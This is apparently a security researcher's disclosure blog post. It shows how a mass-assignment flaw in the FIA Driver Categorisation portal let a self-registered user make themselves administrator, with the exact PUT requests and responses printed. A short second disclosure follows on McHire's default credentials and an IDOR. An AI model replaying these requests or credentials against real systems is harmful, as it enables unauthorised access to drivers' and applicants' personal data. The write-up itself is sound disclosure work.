ian.sh
Ian Carroll
22.10.2025¨

We found vulnerabilities in the FIA's Driver Categorisation platform, allowing us to access PII and password hashes of any racing driver with a categorisation rating.

Introduction
With security startups getting flooded with VC funding in the past few years, some of the biggest networking events have centered themselves around the Formula 1 Grand Prix. Companies like CrowdStrike and Darktrace spend millions of dollars sponsoring teams, while others like Bitdefender have official partnerships to be a racing team's cybersecurity partner.

Having been able to attend these events by hoarding airline miles and schmoozing certain cybersecurity vendors, Gal Nagli, Sam Curry, and I thought it would be fun to try and hack some of the different supporting websites for the Formula 1 events.

This blog is part 1 of 3 in a series of vulnerabilities found in Formula 1.

Finding F1 Driver Licenses
To race in Formula 1, drivers hold an FIA Super Licence. It’s issued annually through a driver’s national motorsport authority (ASN) once they’ve met the FIA’s requirements, typically spending years in smaller races to earn Super Licence points, along with meeting minimum age thresholds and other medical/written tests.

F1 drivers often compete outside Grands Prix as well, where the FIA uses a Driver Categorisation (Bronze/Silver/Gold/Platinum) to balance teams. That categorisation is managed via the FIA portal at drivercategorisation.fia.com, which supports public self-registration for competitors to request or update their Bronze/Silver/Gold/Platinum status and submit results for review. This system is separate from the Super Licence, but many F1 drivers appear in both and receive automatic Platinum status for holding an active Super Licence.

The public login page for the Driver Categorisation portal..
After creating an account with an email and password, you are thrown into the actual application process. Normally, you will have to upload a lot of supporting documents for your request for categorization, including identity documents and racing CVs/history. However, we noticed there is a very simple HTTP PUT request that is used to update your user profile:

Copy
PUT /api/users/12934 HTTP/1.1
Host: driverscategorisation.fia.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Content-Length: 246
Content-Type: application/json

{
"id": 12934,
"email": "samwcurry@gmail.com",
"firstName": "Sam",
"lastName": "Curry",
"nickName": null
}
The HTTP request to update our profile didn't really have many interesting attributes, but the JSON returned in the response had a lot of extra values:

Copy
HTTP/1.1 200
Content-type: application/json
Content-Length: 313

{
"id": 12934,
"email": "samwcurry@gmail.com",
"firstName": "Sam",
"lastName": "Curry",
"nickName": null,
"keepNamePrivate": false,
"nickName2": null,
"birthDate": "2000-02-17",
"gender": null,
"token": null,
"roles": null,
"country": null,
"filters": [],
"status": "ACTIVATED",
"secondaryEmail": null
}
The JSON HTTP response for updating our own profile contained the "roles" parameter, something that might allow us to escalate privileges if the PUT request was vulnerable to mass assignment. We began looking through the JavaScript for any logic related to this parameter.

JavaScript from the FIA Driver Categorisation portal.
Based on the JavaScript, there were a number of different roles on the website that were intended to be used by drivers, FIA staff, and site administrators. The most interesting one was obviously admin, so we guessed the correct HTTP PUT request format to try and update our roles based on the JavaScript:

Copy
PUT /api/users/12934 HTTP/1.1
Host: driverscategorisation.fia.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Content-Length: 246
Content-Type: application/json

{
"id": 12934,
"email": "samwcurry@gmail.com",
"firstName": "Sam",
"lastName": "Curry",
"nickName": null,
"roles": [
{
"id": 1,
"description": "ADMIN role",
"name": "ADMIN"
}
]
}
Our test worked exactly as predicted. The HTTP response showed that the update was successful, and we now held the administrator role for the website.

Copy
HTTP/1.1 200
Content-type: application/json
Content-Length: 313

{
"id": 12934,
"email": "samwcurry@gmail.com",
"firstName": "Sam",
"lastName": "Curry",
"nickName": null,
"keepNamePrivate": false,
"nickName2": null,
"birthDate": "1999-10-17",
"gender": null,
"token": null,
"roles": [
{
"id": 1,
"description": "ADMIN role",
"name": "ADMIN"
}
],
"country": null,
"filters": [],
"status": "ACTIVATED",
"secondaryEmail": null
}
We reauthenticated in order to refresh our session, and upon logging in, we were shown an entirely new dashboard that was intended to be used by FIA administrators to categorise drivers, manage employees, and update server-side variables like email templates and more. We seemed to have full admin access to the FIA driver categorization website.

Accessing the driver categorisation portal as an administrator.
To validate our finding, we attempted to load a driver's profile and observed the user's password hash, email address, phone number, passport, resume, and all related PII. Additionally, we could load all internal communications related to driver categorisation including comments about their performance and committee related decisions.

Internal FIA comments about the categorisation of a professional F1 driver.
We stopped testing after seeing that it was possible to access Max Verstappen's passport, resume, license, password hash, and PII. This data could be accessed for all F1 drivers with a categorization, alongside sensitive information of internal FIA operations. We did not access any passports / sensitive information and all data has been deleted.

Disclosure timeline
06/03/2025: Initial disclosure to FIA via email and Linkedin
06/03/2025: Initial response from FIA, site taken offline
06/10/2025: Official response from FIA informing us of a comprehensive fix
10/22/2025: Release of blog post, public disclosure

Ian Carroll, Sam Curry / ian.sh
When applying for a job at McDonald's, over 90% of franchises use "Olivia," an AI-powered chatbot. We discovered a vulnerability that could allow an attacker to access more than 64 million job applications. This data includes applicants' names, resumes, email addresses, phone numbers, and personality test results.

McHire is the chatbot recruitment platform used by 90% of McDonald’s franchisees. Prospective employees chat with a bot named Olivia, created by a company called Paradox.ai, that collects their personal information, shift preferences, and administers personality tests. We noticed this after seeing complaints on Reddit of the bot responding with nonsensical answers.

During a cursory security review of a few hours, we identified two serious issues: the McHire administration interface for restaurant owners accepted the default credentials 123456:123456, and an insecure direct object reference (IDOR) on an internal API allowed us to access any contacts and chats we wanted. Together they allowed us and anyone else with a McHire account and access to any inbox to retrieve the personal data of more than 64 million applicants.

We disclosed this issue to Paradox.ai and McDonald’s at the same time.

06/30/2025 5:46PM ET: Disclosed to Paradox.ai and McDonald’s
06/30/2025 6:24PM ET: McDonald’s confirms receipt and requests technical details
06/30/2025 7:31PM ET: Credentials are no longer usable to access the app
07/01/2025 9:44PM ET: Followed up on status
07/01/2025 10:18PM ET: Paradox.ai confirms the issues have been resolved